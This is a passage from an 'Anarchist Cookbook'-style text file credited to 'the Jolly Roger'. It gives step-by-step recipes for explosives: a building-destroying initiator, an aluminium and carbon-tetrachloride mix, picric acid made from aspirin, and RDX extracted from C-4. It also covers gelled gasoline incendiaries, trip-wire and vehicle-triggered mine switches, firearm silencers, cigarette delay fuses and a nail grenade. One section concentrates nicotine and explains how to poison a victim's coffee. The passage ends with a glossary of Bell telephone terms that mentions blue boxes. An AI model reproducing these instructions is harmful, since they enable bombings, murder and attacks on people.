  13296. is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden 
  13297. rod.
  13298. 4) Place the aluminum metal on top of the explosive.
  13299. 5) Just before use, insert the blasting cap into the cavity made by the 
  13300. rod. The initiator is now ready to use.
  13301.  
  13302. NOTE: If it is desired to carry the initiator some distance, cardboard may 
  13303. be pressed on top of the aluminum to insure against loss of material.
  13304.  
  13305. How to Use:
  13306. ----------
  13307.  
  13308.      This particular unit works quite well to initiate charges of five 
  13309. pounds of flour, 1/2 gallon (1-2/3 litres) of gasoline, or two pounds of 
  13310. flake painters aluminum. The solid materials may merely be contained in 
  13311. sacks or cardboard cartons. The gasoline may be placed in plastic coated 
  13312. paper milk cartons, as well as plastic or glass bottles. The charges are 
  13313. placed directly on top of the initiator and the blasting cap is actuated 
  13314. electrically or by a fuse depending on the type of cap employed. this will 
  13315. destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet).
  13316.  
  13317. Note: For larger enclosures, use proportionally larger initiators and 
  13318. charges.
  13319.  
  13320.                               ---------------Jolly Roger
  13321.  
  13322. Carbon-Tet Explosive                            by the Jolly Roger
  13323.  
  13324.      A moist explosive mixture can be made from fine aluminum powder combined 
  13325. with carbon tetrachloride or tetrachloroethylene. This explosive can be 
  13326. detonated with a blasting cap.
  13327.  
  13328. Material Required                                 Source
  13329. -----------------                                 ------
  13330. Fine aluminum bronzing powder                     Paint store
  13331. Carbon Tetrachloride                              Pharmacy, or fire
  13332.          or                                       extinguisher fluid
  13333. tetrachloroethylene                               Dry cleaners, pharmacy
  13334. Stirring rod (wood)
  13335. Mixing container (bowl, bucket, etc.)
  13336. Measuring container (cup, tablespoon, etc.)
  13337. Storage container (jar, can, etc.)
  13338. Blasting cap
  13339. Pipe, can or jar
  13340.  
  13341. Procedure:
  13342. ---------
  13343.  
  13344. 1) Measure out two parts aluminum powder to one part carbon tetrachloride or 
  13345. tetrachlorethylene liquid into mixing container, adding liquid to powder 
  13346. while stirring with the wooden rod.
  13347. 2) Stir until the mixture becomes the consistency of honey syrup.
  13348.  
  13349. CAUTION: Fumes from the liquid are dangerous and should not be inhaled.
  13350.  
  13351. 3) Store explosive in a jar or similar water proof container until ready to 
  13352. use. The liquid in the mixture evaporates quicky when not confined.
  13353.  
  13354. NOTE: Mixture will detonate in this manner for a period of 72 hours.
  13355.  
  13356. How to Use:
  13357. ----------
  13358.  
  13359. 1) Pour this mixture into an iron or steel pipe which has an end cap threaded 
  13360. on one end. If a pipe is not available, you may use a dry tin can or glass 
  13361. jar.
  13362. 2) Insert blasting cap just beneath the surface of the explosive mix.
  13363.  
  13364. NOTE: Confining the open end of the container will add to the effectiveness 
  13365. of the explosive.
  13366.  
  13367.                               ---------------Jolly Roger
  13368.  
  13369. Making Picric Acid from Aspirin                         by the Jolly Roger
  13370.  
  13371.      Picric Acid can be used as a booster explosive in detonators, a high 
  13372. explosive charge, or as an intermediate to preparing lead picrate.
  13373.  
  13374. Material Required
  13375. -----------------
  13376. Aspirin tablets (5 grains per tablet)
  13377. Alcohol, 95% pure
  13378. Sulfuric acid, concentrated, (if battery acid, boil until white fumes 
  13379.      disappear)
  13380. Potassium Nitrate (see elsewhere in this Cookbook)
  13381. Water
  13382. Paper towels
  13383. Canning jar, 1 pint
  13384. Rod (glass or wood)
  13385. Glass containers
  13386. Ceramic or glass dish
  13387. Cup
  13388. Teaspoon
  13389. Tablespoon
  13390. Pan
  13391. Heat source
  13392. Tape
  13393.  
  13394. Procedure:
  13395. ---------
  13396.  
  13397. 1) Crush 20 aspirin tablets in a glass container. Add 1 teaspoon of water 
  13398. and work into a paste.
  13399. 2) Add approximately 1/3 to 1/2 cup of alcohol (100 millilitres) to the 
  13400. aspirin paste; stir while pouring.
  13401. 3) Filter the alcohol-aspirin solution through a paper towel into another 
  13402. glass container. Discard the solid left in the paper towel.
  13403. 4) Pour the filtered solution into a glass or ceramic dish.
  13404. 5) Evaporate the alcohol and water from the solution by placing the dish 
  13405. into a pan of hot water. White powder will remain in the dish after 
  13406. evaporation.
  13407.  
  13408. NOTE: The water in the pan should be at hot bath temperature, not boiling, 
  13409. approx. 160 to 180 degress farenheit. It should not burn the hands.
  13410.  
  13411. 6) Pour 1/3 cup (80 millilitres) of concentrated sulfuric acid into a 
  13412. canning jar. Add the white powder to the sulfuric acid.
  13413. 7) Heat canning jar of sulfuric acid in a pan of simmering hot water bath 
  13414. for 15 minutes; then remove jar from the bath. Solution will turn to a 
  13415. yellow-orange color.
  13416. 8) Add 3 level teaspoons (15 grams) of potassium nitrate in three portions 
  13417. to the yellow-orange solution; stir vigorously during additions. Solution 
  13418. will turn red, then back to a yellow-orange color.
  13419. 9) Allow the solution to cool to ambient room temperature while stirring 
  13420. occasionally.
  13421. 10) Slowly pour the solution, while stirring, into 1-1/4 cup (300 
  13422. millilitres) of cold water and allow to cool.
  13423. 11) Filter the solution through a paper towel into a glass container. Light 
  13424. yellow particles will collect on the paper towel.
  13425. 12) Wash the light yellow particles with 2 tablespoons (25 millilitres) of 
  13426. water. Discard the waste liquid in the container.
  13427. 13) Place articles in ceramic dish and set in a hot water bath, as in step 
  13428. 5, for 2 hours.
  13429.  
  13430.                               --------------Jolly Roger
  13431.  
  13432.  
  13433. Reclamation of RDX from C-4 Explosives            by the Jolly Roger
  13434.  
  13435.      RDX can be obtained from C-4 explosives with the use of gasoline. It can 
  13436. be used as a booster explosive for detonators or as a high explosive charge.
  13437.  
  13438. Material Required
  13439. -----------------
  13440. Gasoline
  13441. C-4 explosive
  13442. 2 - pint glass jars, wide mouth
  13443. Paper towels
  13444. Stirring rod (glass or wood)
  13445. Water
  13446. Ceramic or glass dish
  13447. Pan
  13448. Heat source
  13449. Teaspoon
  13450. Cup
  13451. Tape
  13452.  
  13453. NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional. The 
  13454. RDX can be air dried instead.
  13455.  
  13456. Procedure:
  13457. ---------
  13458.  
  13459. 1) Place 1-1/2 teaspoons (15 grams) of C-4 explosive in one of the pint jars. 
  13460. Add 1 cup (240 milliliters) of gasoline.
  13461.  
  13462. NOTE: These quantities can be increased to obtain more RDX. For example, use 2 
  13463. gallons of gasoline per 1 cup of C-4.
  13464.  
  13465. 2) Knead and stir the C-4 with the rod until the C-4 has broken down into small 
  13466. particles. Allow mixture to stand for 1/2 hour.
  13467. 3) Stir the mixture again until a fine white powder remains on the bottom of 
  13468. the jar.
  13469. 4) Filter the mixture through a paper towel into the other glass jar. Wash the 
  13470. particles collected on the paper towel with 1/2 cup (120 milliliters) of 
  13471. gasoline. Discard the waste liquid.
  13472. 5) Place the RDX particles in a glass or ceramic dish. Set the dish in a pan of 
  13473. hot water, not boiling and dry for a period of 1 hour.
  13474.  
  13475. NOTE: The RDX particles may be air dried for a period of 2 to 3 hours.
  13476.  
  13477.                               --------------Jolly Roger
  13478.  
  13479.  
  13480. Egg-based Gelled Flame Fuels                          by the Jolly Roger
  13481.  
  13482.      The white of any bird egg can be used to gel gasoline for use as a 
  13483. flame fuel which will adhere to target surfaces.
  13484.  
  13485. Materials Required
  13486. ------------------
  13487.  
  13488. Parts by
  13489. Volume               Ingredient              How used        Common Source
  13490. --------             ----------              --------        -------------
  13491.  
  13492. 85                   Gasoline                Motor Fuel      Gas Stations
  13493.                                              Stove Fuel      Motor Vehicle
  13494.                                              Solvent
  13495.  
  13496. 14                   Egg Whites              Food            Food Store
  13497.                                              Industrial      Farms
  13498.                                                Processes
  13499.  
  13500. Any one of the following:
  13501.  
  13502. 1                    Table Salt              Food            Sea Water
  13503.                                              Industrial      Natural Brine
  13504.                                                Processes     Food Store
  13505.  
  13506. 3                    Ground Coffee           Food            Coffee Plant
  13507.                                                              Food Store
  13508.  
  13509. 3                    Dried Tea Leaves        Food            Tea Plant
  13510.                                                              Food Store
  13511.  
  13512. 3                    Cocoa                   Food            Cacao Tree
  13513.                                                              Food Store
  13514.  
  13515. 2                    Sugar                   Sweetening      Sugar Cane
  13516.                                                foods         Food Store
  13517.  
  13518. 1                    Saltpeter               Pyrotechnics    Natural
  13519.                      (Potassium              Explosives        Deposits
  13520.                      Nitrate)                Matches         Drug Store
  13521.                                              Medicine
  13522.  
  13523. 1                    Epsom Salts             Medicine        Natural
  13524.                                              Mineral Water   Kisserite
  13525.                                              Industrial      Drug Store
  13526.                                                Processes     Food Store
  13527.  
  13528. 2                    Washing Soda            Washing Cleaner Food Store
  13529.                      (Sal Soda)              Medicine        Drug Store
  13530.                                              Photography     Photo Supply
  13531.                                                                Store
  13532.  
  13533. 1 1/2                Baking Soda             Baking          Food Store
  13534.                                              Manufacturing   Drug Store
  13535.                                              of: Beverages
  13536.                                                  Medicines
  13537.                                                     and
  13538.                                                  Mineral
  13539.                                                    Waters
  13540.  
  13541. 1 1/2                Aspirin                 Medicine        Drug Store
  13542.                                                              Food Store
  13543.  
  13544. Procedure:
  13545. ---------
  13546.  
  13547. CAUTION: Make sure that ther are no open flames in the area when mixing 
  13548. flame fuels! NO SMOKING!!
  13549.  
  13550. 1) Seperate the egg white from the yolk. This can be done by breaking the 
  13551. egg into a dish and carefully removing the yolk with a spoon.
  13552. 2) Pour egg white into a jar, bottle, or other container, and add gasoline.
  13553. 3) Add the salt (or other additive) to the mixture and stir occasionally 
  13554. until gel forms (about 5 to 10 minutes).
  13555.  
  13556. NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar 
  13557. in hot (65 degrees Centegrade) water for about 1/2 hour and then letting 
  13558. them cool to room temperature. (DO NOT HEAT THE GELLED FUEL CONTAINING 
  13559. COFFEE!!)
  13560.  
  13561.                        ----------------------Jolly Roger
  13562.  
  13563.  
  13564.  
  13565. Clothespin Switch                           by the Jolly Roger
  13566.  
  13567.      A spring type clothespin is used to make a circuit closing switch to 
  13568. actuate explosive charges, mines, booby traps, and alarm systems.
  13569.  
  13570. Material Required:
  13571. -----------------
  13572.  
  13573. Spring type clothespin
  13574. Sold copper wire -- 1/16 in. (2 mm) in diameter
  13575. Strong string on wire
  13576. Flat piece of wood (roughly 1/8 x 1" x 2")
  13577. Knife
  13578.  
  13579. Procedure:
  13580. ---------
  13581.  
  13582. 1) Strip four in. (10 cm) of insulation from the ends of 2 solid copper 
  13583. wires. Scrape the copper wires with pocket knife until the metal is 
  13584. shiny.
  13585. 2) Wind one scraped wire tightly on jaw of the clothespin, and the other 
  13586. wire on the other jaw.
  13587. 3) Make a hole in one end of the flat piece of wood using a knife, heated 
  13588. nail or drill.
  13589. 4) Tie strong string or wire through the hole.
  13590. 5) Place flat piece of wood between the jaws of the clothespin switch.
  13591.  
  13592. Basic Firing Circuit:
  13593. --------------------
  13594.  
  13595.         ______________
  13596.        |              |---------------------------\
  13597.        |  initiator   |----------\                |      strong
  13598.         --------------           |                |      twine
  13599.                                  |                |          \
  13600.                                  |               _---------_________
  13601.                                  |                ---------
  13602.                                  |                 |      \clothespin                                 \                /
  13603.                                   \              /         switch
  13604.                                    \            /
  13605.                                     \          /
  13606.                                      \        /
  13607.                                       +      -
  13608.                                      ----------
  13609.                                      |        |
  13610.                                      | battery|
  13611.                                      ----------
  13612.  
  13613.      When the flat piece of wood is removed by pulling the string, the 
  13614. jaws of the clothespin will close, completing the circuit.
  13615.  
  13616. CAUTION: Do not attach the battery until the switch and trip wire have 
  13617. been emplaced and examined. Be sure that the flat piece of wood is 
  13618. seperating the jaws of the switch.
  13619.  
  13620.           -----------------Jolly Roger
  13621.  
  13622.  
  13623. Flexible Plate Switch                             by the Jolly Roger
  13624.  
  13625.      This flexible plate switch is used for initiating emplaced mines and 
  13626. explosives.
  13627.  
  13628. Material Required:
  13629. -----------------
  13630.  
  13631. Two flexible metal sheets
  13632.   one approximately 10 in. (25 cm) square
  13633.   one approximately 10 in. x 8 in. (20 cm)
  13634. Piece of wood 10 in. square x 1 in. thick
  13635. Four soft wood blocks 1 in. x 1 in. x 1/4 in.
  13636. Eight flat head nails, 1 in. long
  13637. Connecting wires
  13638. Adhesive tape
  13639.  
  13640. Procedure:
  13641. ---------
  13642.  
  13643. 1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that 
  13644. 1 in. of wood shows on each side of the metal. Leave one of the nails 
  13645. sticking up about 1/4 in.
  13646. 2) Strip insulation from the end of one connecting wire. Wrap this end 
  13647. around the nail and drive the nail all the way in.
  13648. 3) Place the four wood blocks on the corners of the wood base.
  13649. 4) Place the 10 in. square flexible metal sheet so that it rests on the 
  13650. blocks in line with the wood base.
  13651. 5) Drive four nails through the metal sheet and the blocks (1 per block) 
  13652. to fasten the sheet to the wood base. A second connecting wire is atached 
  13653. to one of the nails as in step #2.
  13654. 6) Wrap the adhesive tape around the edges of the plate and wood base. 
  13655. This will assure that no dirt or other foreign matter will get between the 
  13656. plates and prevent the switch from operating.
  13657.  
  13658. How to use:
  13659. ----------
  13660.  
  13661. The switch is placed in a hole in the path of expected traffic and covered 
  13662. with a thin layer of dirt or other camouflaging material. The mine or 
  13663. other explosive device connected to the switch can be buried with the 
  13664. switch or emplaced elsewhere as desired.
  13665.  
  13666. When a vehicle passes over the switch, the two metal plates make contact 
  13667. closing the firing circuit.
  13668.  
  13669.                       ----------------Jolly Roger
  13670.  
  13671.  
  13672. Flexible Plate Switch                             by the Jolly Roger
  13673.  
  13674.      This flexible plate switch is used for initiating emplaced mines and 
  13675. explosives.
  13676.  
  13677. Material Required:
  13678. -----------------
  13679.  
  13680. Two flexible metal sheets
  13681.   one approximately 10 in. (25 cm) square
  13682.   one approximately 10 in. x 8 in. (20 cm)
  13683. Piece of wood 10 in. square x 1 in. thick
  13684. Four soft wood blocks 1 in. x 1 in. x 1/4 in.
  13685. Eight flat head nails, 1 in. long
  13686. Connecting wires
  13687. Adhesive tape
  13688.  
  13689. Procedure:
  13690. ---------
  13691.  
  13692. 1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that 
  13693. 1 in. of wood shows on each side of the metal. Leave one of the nails 
  13694. sticking up about 1/4 in.
  13695. 2) Strip insulation from the end of one connecting wire. Wrap this end 
  13696. around the nail and drive the nail all the way in.
  13697. 3) Place the four wood blocks on the corners of the wood base.
  13698. 4) Place the 10 in. square flexible metal sheet so that it rests on the 
  13699. blocks in line with the wood base.
  13700. 5) Drive four nails through the metal sheet and the blocks (1 per block) 
  13701. to fasten the sheet to the wood base. A second connecting wire is atached 
  13702. to one of the nails as in step #2.
  13703. 6) Wrap the adhesive tape around the edges of the plate and wood base. 
  13704. This will assure that no dirt or other foreign matter will get between the 
  13705. plates and prevent the switch from operating.
  13706.  
  13707. How to use:
  13708. ----------
  13709.  
  13710. The switch is placed in a hole in the path of expected traffic and covered 
  13711. with a thin layer of dirt or other camouflaging material. The mine or 
  13712. other explosive device connected to the switch can be buried with the 
  13713. switch or emplaced elsewhere as desired.
  13714.  
  13715. When a vehicle passes over the switch, the two metal plates make contact 
  13716. closing the firing circuit.
  13717.  
  13718.                       ----------------Jolly Roger
  13719.  
  13720.  
  13721. Low Signature Systems (Silencers)                  by the Jolly Roger
  13722.  
  13723.      Low signature systems (silencers) for improvised small arms weapons 
  13724. can be made from steel gas or water pipe and fittings.
  13725.  
  13726. Material Required:
  13727. -----------------
  13728. Grenade Container
  13729. Steel pipe nipple, 6 in. (15 cm) long - (see table 1 for diameter)
  13730. 2 steel pipe couplings - (see table 2 for dimensions)
  13731. Cotton cloth - (see table 2)
  13732. Drill
  13733. Absorbent cotton
  13734.  
  13735. Procedure:
  13736. ---------
  13737. 1) Drill hole in grenade container at both ends to fit outside diameter 
  13738. of pipe nipple. (see table 1)
  13739.  
  13740.                  ->    /----------------------\
  13741.                 /     |                        |
  13742.         2.75 in |      )                      ( <-holes
  13743.          dia.   \     |                        |
  13744.                  ->   \-----------------------/
  13745.                       
  13746.                       |-----------------------|
  13747.                                5 in.
  13748.  
  13749. 2) Drill four rows of holes in pipe nipple. Use table 1 for diameter and 
  13750. location of holes.
  13751.  
  13752.                       (Note: I suck at ASCII art!)
  13753.                              
  13754.                                 6 in.
  13755.                 |-----------------------------------|
  13756.                 _____________________________________ ___
  13757.                 | O O O O O O O O O O O O O O O O O |  | C (nom. dia.)
  13758.                 -------------------------------------
  13759.          (size of hole)   |                   \ / (space between)
  13760.                           B (dia.)             A
  13761.  
  13762.  
  13763. 3) Thread one of the pipe couplings on the drilled pipe nipple.
  13764. 4) Cut coupling length to allow barrel of weapon to thread fully into low 
  13765. signature system. Barrel should butt against end of the drilled pipe 
  13766. nipple.
  13767. 5) Seperate the top half of the grenade container from the bottom half.
  13768. 6) Insert the pipe nipple in the drilled hole at the base of the bottom 
  13769. half of the container. Pack theabsorbent cotton inside the container and 
  13770. around the pipe nipple.
  13771. 7) Pack the absorbent cotton in top half of grenade container leaving 
  13772. hole in center. Assemble container to the bottom half.
  13773. 8) Thread the other coupling onto the pipe nipple.
  13774.  
  13775. Note: A longer container and pipe nipple, with same "A" and "B" 
  13776. dimensions as those given, will furthur reduce the signature of the 
  13777. system.
  13778.  
  13779. How to use:
  13780. ----------
  13781.  
  13782. 1) Thread the low signature system on the selected weapon securely.
  13783. 2) Place the proper cotton wad size into the muzzle end of the system 
  13784. (see table 2)
  13785. 3) Load weapon
  13786. 4) Weapon is now ready for use
  13787.  
  13788. TABLE 1 -- Low Signature System Dimensions
  13789. ------------------------------------------
  13790.  
  13791.                                         (Coupling)  Holes per   (4 rows)
  13792.                A         B         C         D         Row        Total
  13793. ------------------------------------------------------------------------
  13794. .45 cal        3/8       1/4       3/8       3/8       12           48
  13795.  
  13796. .38 cal        3/8       1/4       1/4       1/4       12           48
  13797.  
  13798.   9 mm         3/8       1/4       1/4       1/4       12           48
  13799.  
  13800. 7.62 mm        3/8       1/4       1/4       1/4       12           48
  13801.  
  13802. .22 cal        1/4       5/32      1/8*      1/8       14           50
  13803. ------------------------------------------------------------------------
  13804.            *Extra Heavy Pipe
  13805.        (All dimensions in inches)
  13806.  
  13807.  
  13808. TABLE 2 -- Cotton Wadding - Sizes
  13809. ---------------------------------
  13810.  
  13811. -------------------------------------------------
  13812. Weapon                        Cotton Wadding Size
  13813. -------------------------------------------------
  13814. .45 cal                       1-1/2 x 6 inches
  13815.  
  13816. .38 cal                       1 x 4 inches
  13817.      
  13818.   9 mm                        1 x 4 inches
  13819.  
  13820. 7.62 mm                       1 x 4 inches
  13821.  
  13822. .22 cal                       Not needed
  13823. -------------------------------------------------
  13824.  
  13825.                 ------------------Jolly Roger
  13826.  
  13827. Delay Igniter from a Cigarette                       by the Jolly Roger
  13828.  
  13829.      A simple and economical (everyone wants to save money haha) time 
  13830. delay can be made with a common cigarette.
  13831.  
  13832. Materials Required:
  13833. ------------------
  13834.  
  13835. Cigarette
  13836. Paper match
  13837. String (shoelace or similar cord)
  13838. Fuse cord (improvised or commercial)
  13839.  
  13840. Procedure:
  13841. ---------
  13842.  
  13843. 1) Cut end of fuse cord at a slant to expose inner core
  13844. 2) Light cigarette in normal fashion. Place a paper match so that the had 
  13845. is over exposed exposed end of fuse cord and tie both to the side of the 
  13846. burning cigarette with string.
  13847. 3) Position the burning cigarette with fuse so that it burns freely. A 
  13848. suggested method is to hang the delay on a twig.
  13849.  
  13850. Note: Common dry cigarettes burn about 1 inch every 7 or 8 minutes in 
  13851. still air. (Now I am talking about all except American brands, which burn 
  13852. about 1 inch every 4-5 minutes) If the fuse cord is place one inch from 
  13853. the burning end of the cigarette a time delay of 7 or 8 minutes will 
  13854. result.
  13855.       Delay time will vary depending upon type of cigarette, wind, 
  13856. moisture, and other atmospherc conditions (get to know your cigarette!)
  13857.       To obtain accurate delay time, a test run should be made under 
  13858. "use" conditions.
  13859.  
  13860.                  ----------------Jolly Roger
  13861.  
  13862.  
  13863. Nicotine                                      by the Jolly Roger
  13864.  
  13865.      Nicotine is an abundant poison. Easily found in tobacco 
  13866. products, in concentrated form a few drops can quickly kill 
  13867. someone. Here is how to concentrate it:
  13868.  
  13869.      First get a can of chewing tobacco or pipe tobacco. Remove 
  13870. the contents and soak in water overnight in a jar (about 2/3 cup 
  13871. of water will do...). In the morning, strain into another jar the 
  13872. mixture through a porous towel. Then wrap the towel around the 
  13873. ball of tobacco and squeeze it until all of the liquid is in the 
  13874. jar. Throw away the tobacco--you will not need it anymore.
  13875.  
  13876.      Now you have two options. I recommend the first. It makes the 
  13877. nicotine more potent.
  13878.      1) Allow to evaporate until a sticky syrup results in the 
  13879. jar. This is almost pure nicotine (hell, it is pure enough for 
  13880. sure!). 
  13881.      2) Heat over low flame until water is evaporated and a thick 
  13882. sticky syrup results (I don't know how long it takes... shouldn't 
  13883. take too long, though.).
  13884.  
  13885.      Now all you have to do, when you wish to use it, is to put 
  13886. a few drops in a medicine dropper or equivalent, and slip about 4 
  13887. or 5 drops into the victim's coffee. Coffee is recommended since it 
  13888. will disguise the taste. Since nicotine is a drug, the victim 
  13889. should get quite a buzz before they turn their toes up to the 
  13890. daisies, so to speak.
  13891.  
  13892.      Note: If the syrup is too sticky, dilute it with a few drops 
  13893. of water. And while you are at it, better add an extra drop to the 
  13894. coffee just to be sure!
  13895.  
  13896.                   ----------------Jolly Roger
  13897.  
  13898.  
  13899. Nail Grenade                                       by the Jolly Roger
  13900.  
  13901.      Effective fragmentation grenades can be made from a block of tnt or 
  13902. other blasting explosive and nails.
  13903.  
  13904. Material Required:
  13905. -----------------
  13906.  
  13907. Block of TNT or other blasting explosive
  13908. Nails
  13909. Non-electric (military or improvised) blasting cap
  13910. Fuse Cord
  13911. Tape, string, wire, or glue
  13912.  
  13913. Procedure:
  13914. ---------
  13915.  
  13916. 1) If an explosive charge other than a standard TNT block is used, make a 
  13917. hole in the center of the charge for inserting the blasting cap. TNT can 
  13918. be drilled with relative safety. With plastic explosives, a hole can be 
  13919. made by pressing a round stick into the center of the charge. The hole 
  13920. should be deep enough that the blasting cap is totally within the 
  13921. explosive.
  13922. 2) Tape, tie, or glue one or two rows of closely packed nails to the 
  13923. sides of the explosive block. Nails should completely cover the four 
  13924. surfaces of the block.
  13925. 3) Place blasting cap on one end of the fuse cord and crimp with pliers.
  13926.  
  13927. NOTE: To find out how long the fuse cord should be, check the time it 
  13928. takes a known length to burn. If 12 inches (30 cm) burns for 30 seconds, 
  13929. a 10 second delay will require a 4 inch (10 cm) fuse.
  13930.  
  13931. 4) Insert the blasting cap in the hole in the block of explosive. Tape or 
  13932. tie fuse cord securly in place so that it will not fall out when the 
  13933. grenade is thrown.
  13934.  
  13935. Alternate Use:
  13936. -------------
  13937.  
  13938. An effective directional anti-personnel mine can be made by placing nails 
  13939. on only one side of the explosive block. For thi case, and electric 
  13940. blasting cap can be used.
  13941.  
  13942.               ------------------Jolly Roger
  13943.  
  13944.  
  13945. The Bell Glossary                         courtesy of the Jolly Roger
  13946.  
  13947.     ......................................................................
  13948.     ......................................................................
  13949.     .                        The Bell Glossary -                        ..
  13950.     .                               by                                  ..
  13951.     .                         /\<\     /\<\                             ..
  13952.     .                        </\>\>ad </\>\>arvin                       ..
  13953.     ......................................................................
  13954.     ......................................................................
  13955.  
  13956. ACD: Automatic Call Distributor - A system that automatically distributes calls
  13957. to operator pools (providing services such as intercept and directory
  13958. assistance), to airline ticket agents, etc.
  13959.  
  13960. Administration: The tasks of record-keeping, monitoring, rearranging,
  13961. prediction need for growth, etc.
  13962.  
  13963. AIS: Automatic Intercept System - A system employing an audio-response unit
  13964. under control of a processor to automatically provide pertinent info to callers
  13965. routed to intercept.
  13966.  
  13967. Alert: To indicate the existence of an incoming call, (ringing).
  13968.  
  13969. ANI: Automatic Number Identification - Often pronounced "Annie," a facility for
  13970. automatically identify the number of the calling party for charging purposes.
  13971.  
  13972. Appearance: A connection upon a network terminal, as in "the line has two
  13973. network appearances."
  13974.  
  13975. Attend: The operation of monitoring a line or an incoming trunk for off-hook or
  13976. seizure, respectively.
  13977.  
  13978. Audible: The subdued "image" of ringing transmitted to the calling party during
  13979. ringing; not derived from the actual ringing signal in later systems.
  13980.  
  13981. Backbone Route: The route made up of final-group trunks between end offices in
  13982. different regional center areas.
  13983.  
  13984. BHC: Busy Hour Calls - The number of calls placed in the busy hour.
  13985.  
  13986. Blocking: The ratio of unsuccessful to total attempts to use a facility;
  13987. expresses as a probability when computed a priority.
  13988.  
  13989. Blocking Network: A network that, under certain conditions, may be unable to
  13990. form a transmission path from one end of the network to the other. In general,
  13991. all networks used within the Bell Systems are of the blocking type.
  13992.  
  13993. Blue Box: Equipment used fraudulently to synthesize signals, gaining access to
  13994. the toll network for the placement of calls without charge.
  13995.  
  13996. BORSCHT Circuit: A name for the line circuit in the central office. It
  13997. functions as a mnemonic for the functions that must be performed by the
  13998. circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and
  13999. Testing.
  14000.  
  14001. Busy Signal: (Called-line-busy) An audible signal which, in the Bell System,
  14002. comprises 480hz and 620hz interrupted at 60IPM.
  14003.  
  14004. Bylink: A special high-speed means used in crossbar equipment for routing calls
  14005. incoming from a step-by-step office. Trunks from such offices are often
  14006. referred to as "bylink" trunks even when incoming to noncrossbar offices; they
  14007. are more properly referred to as "dc incoming trunks." Such high-speed means
  14008. are necessary to assure that the first incoming pulse is not lost.
  14009.  
  14010. Cable Vault: The point which phone cable enters the Central Office building.
  14011.  
  14012. CAMA: Centralized Automatic Message Accounting - Pronounced like Alabama.
  14013.  
  14014. CCIS: Common Channel Interoffice Signaling - Signaling information for trunk
  14015. connections over a separate, nonspeech data link rather that over the trunks
  14016. themselves.
  14017.  
  14018. CCITT: International Telegraph and Telephone Consultative Committee- An
  14019. International committee that formulates plans and sets standards for
  14020. intercountry communication means.
  14021.  
  14022. CDO: Community Dial Office - A small usually rural office typically served by
  14023. step-by-step equipment.
  14024.  
  14025. CO: Central Office - Comprises a switching network and its control and support
  14026. equipment. Occasionally improperly used to mean "office code."
  14027.  
  14028. Centrex: A service comparable in features to PBX service but implemented with
  14029. some (Centrex CU) or all (Centrex CO) of the control in the central office. In
  14030. the later case, each station's loop connects to the central office.
  14031.  
  14032. Customer Loop: The wire pair connecting a customer's station to the central
  14033. office.
  14034.  
  14035. DDD: Direct Distance Dialing - Dialing without operator assistance over the
  14036. nationwide intertoll network.
  14037.  
  14038. Direct Trunk Group: A trunk group that is a direct connection between a given
  14039. originating and a given terminating office.
  14040.  
  14041. EOTT: End Office Toll Trunking - Trunking between end offices in different toll
  14042. center areas.
  14043.  
  14044. ESB: Emergency Service Bureau - A centralized agency to which 911 "universal"
  14045. emergency calls are routed.
  14046.  
  14047. ESS: Electronic Switching System - A generic term used to identify as a class,
  14048. stored-program switching systems such as the Bell System's No.1 No.2, No.3,
  14049. No.4, or No.5.
  14050.  
  14051. ETS: Electronic Translation Systems - An electronic replacement for the card
  14052. translator in 4A Crossbar systems. Makes use of the SPC 1A Processor.
  14053.  
  14054. False Start: An aborted dialing attempt.
  14055.  
  14056. Fast Busy: (often called reorder) - An audible busy signal interrupted at twice
  14057. the rate of the normal busy signal; sent to the originating station to indicate
  14058. that the call blocked due to busy equipment.
  14059.  
  14060. Final Trunk Group: The trunk group to which calls are routed when available
  14061. high-usage trunks overflow; these groups generally "home" on an office next
  14062. highest in the hierarchy.
  14063.  
  14064. Full Group: A trunk group that does not permit rerouting off-contingent foreign
  14065. traffic; there are seven such offices.
  14066.  
  14067. Glare: The situation that occurs when a two-way trunk is seized more or less
  14068. simultaneously at both ends.
  14069.  
  14070. High Usage Trunk Group: The appellation for a trunk group that has alternate
  14071. routes via other similar groups, and ultimately via a final trunk group to a
  14072. higher ranking office.
  14073.  
  14074. Intercept: The agency (usually an operator) to which calls are routed when made
  14075. to a line recently removed from a service, or in some other category requiring
  14076. explanation. Automated versions (ASI) with automatic voiceresponse units are
  14077. growing in use.
  14078.  
  14079. Interrupt: The interruption on a phone line to disconnect and connect with
  14080. another station, such as an Emergence Interrupt.
  14081.  
  14082. Junctor: A wire or circuit connection between networks in the same office. The
  14083. functional equivalent to an intraoffice trunk.
  14084.  
  14085. MF: Multifrequency - The method of signaling over a trunk making use of the
  14086. simultaneous application of two out of six possible frequencies.
  14087.  
  14088. NPA: Numbering Plan Area.
  14089.  
  14090. ONI: Operator Number Identification - The use of an operator in a CAMA office
  14091. to verbally obtain the calling number of a call originating in an office not
  14092. equipped with ANI.
  14093.  
  14094. PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An
  14095. telephone office serving a private customer, Typically , access to the outside
  14096. telephone network is provided.
  14097.  
  14098. Permanent Signal: A sustained off-hook condition without activity (no dialing
  14099. or ringing or completed connection); such a condition tends to tie up
  14100. equipment, especially in earlier systems. Usually accidental, but sometimes
  14101. used intentionally by customers in high-crime-rate areas to thwart off
  14102. burglars.
  14103.  
  14104. POTS: Plain Old Telephone Service - Basic service with no extra "frills".
  14105.  
  14106. ROTL: Remote Office Test Line - A means for remotely testing trunks.
  14107.  
  14108. RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting its
  14109. services to be provided up to 200 miles from the TSPS site.
  14110.  
  14111. SF: Single Frequency. A signaling method for trunks: 2600hz is impressed upon
  14112. idle trunks.
  14113.  
  14114. Supervise: To monitor the status of a call.
  14115.  
  14116. SxS: (Step-by-Step or Strowger switch) - An electromechanical office type
  14117. utilizing a gross-motion stepping switch as a combination network and
  14118. distributed control.
  14119.  
  14120. Talkoff: The phenomenon of accidental synthesis of a machine-intelligible
  14121. signal by human voice causing an unintended response. "whistling a tone".
  14122.  
  14123. Trunk: A path between central offices; in general 2-wire for interlocal, 4-wire
  14124. for intertoll.
  14125.  
  14126. TSPS: Traffic Service Position System - A system that provides, under stored-
  14127. program control, efficient operator assistance for toll calls. It does not
  14128. switch the customer, but provides a bridge connection to the operator.
  14129.  
  14130. X-bar: (Crossbar) - An electromechanical office type utilizing a "fine-motion"
